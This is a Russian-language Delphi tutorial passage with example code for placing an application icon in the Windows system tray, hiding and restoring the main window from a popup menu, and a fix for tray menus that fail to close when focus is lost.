   DeleteSysTrayIcon;
 end;
 end.
 




Иконка на TrayBar - пример


 unit shellUnit;
 
 interface
 
 uses
   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
   StdCtrls, Menus;
 
 const
   WM_MYICONNOTIFY = WM_USER + 123;
 
 type
   TForm1 = class(TForm)
     PopupMenu1: TPopupMenu;
     RestoreItem: TMenuItem;
     N1: TMenuItem;
     FileExitItem1: TMenuItem;
     HideItem: TMenuItem;
     procedure FormCreate(Sender: TObject);
     procedure FormDestroy(Sender: TObject);
     procedure RestoreItemClick(Sender: TObject);
     procedure HideItemClick(Sender: TObject);
     procedure FileExitItem1Click(Sender: TObject);
   private
     { Private declarations }
     ShownOnce: Boolean;
   public
     { Public declarations }
     procedure WMICON(var msg: TMessage); message WM_MYICONNOTIFY;
     procedure WMSYSCOMMAND(var msg: TMessage); message WM_SYSCOMMAND;
     procedure RestoreMainForm;
     procedure HideMainForm;
     procedure CreateTrayIcon(n: Integer);
     procedure DeleteTrayIcon(n: Integer);
   end;
 
 var
   Form1: TForm1;
 
 implementation
 
 {$R *.DFM}
 uses ShellApi, shlobj, registry;
 
 procedure TForm1.WMICON(var msg: TMessage);
 var
   P: TPoint;
 begin
   case msg.LParam of // обработка обратных сообщений
     WM_LBUTTONUP: //по нажатию левой клавиши, WM_RBUTTONUP по правой
       begin
         GetCursorPos(p);
         SetForegroundWindow(Application.MainForm.Handle);
         PopupMenu1.Popup(P.X, P.Y);
       end;
     WM_LBUTTONDBLCLK: RestoreItemClick(Self); //как Default
   end;
 end;
 
 procedure TForm1.WMSYSCOMMAND(var msg: TMessage);
 begin
   inherited; //обработка минимизирвания окна, не сворачевается а скрывается
   if (Msg.wParam = SC_MINIMIZE) then
     HideItemClick(Self);
 end;
 
 procedure TForm1.HideMainForm;
 begin
   //при сокрытии окна
   Application.ShowMainForm := False;
   ShowWindow(Application.Handle, SW_HIDE);
   ShowWindow(Application.MainForm.Handle, SW_HIDE);
 end;
 
 procedure TForm1.RestoreMainForm;
 var
   i, j: Integer;
 begin
   Application.ShowMainForm := True;
   ShowWindow(Application.Handle, SW_RESTORE);
   ShowWindow(Application.MainForm.Handle, SW_RESTORE);
   if not ShownOnce then
   begin
     for I := 0 to Application.MainForm.ComponentCount - 1 do
       if Application.MainForm.Components[I] is TWinControl then
         with Application.MainForm.Components[I] as TWinControl do
           if Visible then
           begin
             ShowWindow(Handle, SW_SHOWDEFAULT);
             for J := 0 to ComponentCount - 1 do
               if Components[J] is TWinControl then
                 ShowWindow((Components[J] as TWinControl).Handle,
                   SW_SHOWDEFAULT);
           end;
     ShownOnce := True;
   end;
 
 end;
 
 procedure TForm1.CreateTrayIcon(n: Integer);
 var
   nidata: TNotifyIconData;
 begin
   with nidata do
   begin
     cbSize := SizeOf(TNotifyIconData);
     Wnd := Self.Handle; //HWND вашего окна (окна принимающего обратные сообщения)
     uID := 1; // номер значка
     uFlags := NIF_ICON or NIF_MESSAGE or NIF_TIP; //обрабатываемые флаги
     uCallBackMessage := WM_MYICONNOTIFY;
     hIcon := Application.Icon.Handle;
       // то откуда сдергивается значек это может быть и ImageList и т.д.
     StrPCopy(szTip, Application.Title);
       // всплывающая строка, может быть любой string главное с нулевым окончанием
   end;
   Shell_NotifyIcon(NIM_ADD, @nidata); // добавление значка
 end;
 
 procedure TForm1.DeleteTrayIcon(n: Integer);
 var
   nidata: TNotifyIconData;
 begin
   with nidata do
   begin
     cbSize := SizeOf(TNotifyIconData);
     Wnd := Self.Handle;
     uID := 1;
   end;
   Shell_NotifyIcon(NIM_DELETE, @nidata); // удаление значка
 end;
 
 procedure TForm1.FormCreate(Sender: TObject);
 begin
   ShownOnce := False;
   CreateTrayIcon(1);
   HideItem.Enabled := False;
 end;
 
 procedure TForm1.FormDestroy(Sender: TObject);
 begin
   DeleteTrayIcon(1);
 end;
 
 procedure TForm1.RestoreItemClick(Sender: TObject);
 begin
   RestoreMainForm;
   //если убрать ремарку то при показывании основного окна значек исчезает
   //DeleteTrayIcon(1);
   RestoreItem.Enabled := False;
   HideItem.Enabled := True;
 end;
 
 procedure TForm1.HideItemClick(Sender: TObject);
 begin
   HideMainForm;
   CreateTrayIcon(1);
   HideItem.Enabled := False;
   RestoreItem.Enabled := True;
 end;
 
 procedure TForm1.FileExitItem1Click(Sender: TObject);
 begin
   Close;
 end;
 
 end.
 
 {Также есть еще такая фигня Shell_NotifyIcon(NIM_Modify, @nidata) позволяет
 менять уже установленный значек, не прибегая к его убиванию и построению заново}
 




Приложение не убирает всплывающее меню после потери фокуса

Автор: Олег Кулабухов

- Кто самый сексуальный мужчина в мире?
- Билл Гейтс - его хотят отыметь все.

Во время обработки сообщений PopUp меню, вы должны назначить активное окно, а потом после всплывания меню послать сообщение WM_NULL.


 procedure TForm1.WndProc(var Msg: TMessage);
 var
   p: TPoint;
 begin
   case Msg.Msg of
     WM_USER + 1:
       case Msg.lParam of
         WM_RBUTTONDOWN:
           begin
             SetForegroundWindow(Handle);
             GetCursorPos(p);
             PopupMenu1.Popup(p.x, p.y);
             PostMessage(Handle, WM_NULL, 0, 0);
           end;
       end;
   end;
   inherited;
 end;
 




<< ВЕРНУТЬСЯ В ОГЛАВЛЕНИЕ



Материалы находятся на сайте https://exelab.ru/pro/



Оригинальный DVD-ROM: eXeL@B DVD !


Вы находитесь на EXELAB.rU
Проект ReactOS